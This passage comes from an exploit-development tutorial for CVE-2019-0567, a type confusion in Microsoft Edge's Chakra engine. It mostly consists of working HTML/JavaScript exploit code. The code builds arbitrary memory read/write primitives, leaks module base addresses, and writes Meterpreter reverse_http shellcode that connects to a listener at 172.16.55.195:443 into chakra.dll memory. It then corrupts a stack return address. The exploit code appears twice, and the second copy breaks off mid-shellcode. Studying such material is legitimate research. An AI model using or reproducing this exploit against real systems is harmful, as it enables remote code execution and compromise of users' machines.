awk '{printf "%s""",$0}' shellcode.txt | sed 's/"//g' | sed 's/;//g' | sed 's/$/0000/' |  sed -re 's/\\x//g1' | fold -w 2 | tac | tr -d "\n" | sed 's/.\{8\}/& /g' | awk '{ for (i=NF; i>1; i--) printf("%s ",$i); print $1; }' | awk '{ for(i=1; i<=NF; i+=2) print $i, $(i+1) }' | sed 's/ /, /g' | sed 's/[^ ]* */0x&/g' | sed 's/^/write64(chakraLo+0x74b000+countMe, chakraHigh, /' | sed 's/$/);/' | sed 's/$/\ninc();/'

This will take our shellcode and divide it into four byte segments, remove the \x characters, get them in little endian format, and put them in a format where they will more easily be ready to be placed into our exploit.

Your output should look something like this:

write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000d5ff, );
inc();

Notice at the last line, we are missing 4 bytes. We can add some NULL padding (NULL bytes don’t affect us because we aren’t dealing with C-style strings). We need to update our last line as follows:

write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
inc();

Let’s take just one second to breakdown why the shellcode is formatted this way. We can see that our write primitive starts writing this shellcode to chakra_base + 0x74b000. If we take a look at this address within WinDbg we can see it is “empty”.

This address comes from the .data section of chakra.dll - meaning it is RW memory that we can write our shellcode to. As we have seen time and time again, the !dh chakra command can be used to see where the different headers are located at. Here is how our exploit looks now:

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);

    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])

    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);

    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");

    // Counter
    let countMe = 0;

    // Helper function for counting
    function inc()
    {
        countMe+=0x8;
    }

    // Shellcode (will be executed in JIT process)
    // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
	inc();

    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */

    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;

	// Counter variable
	let counter = 0x6000;

	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);

	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");

            // Break the loop
            break;

        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}

	// alert() for debugging
	alert("DEBUG");

	// Corrupt the return address to control RIP with 0x4141414141414141
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
}
</script>

As we can clearly, see, we use our write primitive to write 1 QWORD at a time our shellcode (this is why we have countMe+=0x8;. Let’s run our exploit, the same way we have been doing. When we run this exploit, an alert dialogue should occur just before the stack address is overwritten. When the alert dialogue occurs, we can debug the content process (we have already seen how to find this process via Process Hacker, so I won’t continually repeat this).

After our exploit has ran, we can then examine where our shellcode should have been written to: chakra_base + 0x74b000.

If we cross reference the disassembly here with the Metasploit Framework we can see that Metasploit staged-payloads will use the following stub to start execution.

As we can see, our injected shellcode and the Meterpreter shellcode both start with cld instruction to flush any flags and a stack alignment routine which ensure the stack is 10-byte aligned (Windows __fastcall requires this). We can now safely assume our shellcode was written properly to the .data section of chakra.dll within the content process.

Now that we have our payload, which we will execute at the end of our exploit, we can begin the exploitation process by starting with our “final” ROP chain.

VirtualProtect ROP Chain

Let me caveat this section by saying this ROP chain we are about to develop will not be executed until the end of our exploit. However, it will be a moving part of our exploit going forward so we will go ahead and “knock it out now”.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);

    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])

    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);

    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");

    // Counter
    let countMe = 0;

    // Helper function for counting
    function inc()
    {
        countMe+=0x8;
    }

    // Shellcode (will be executed in JIT process)
    // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
	inc();
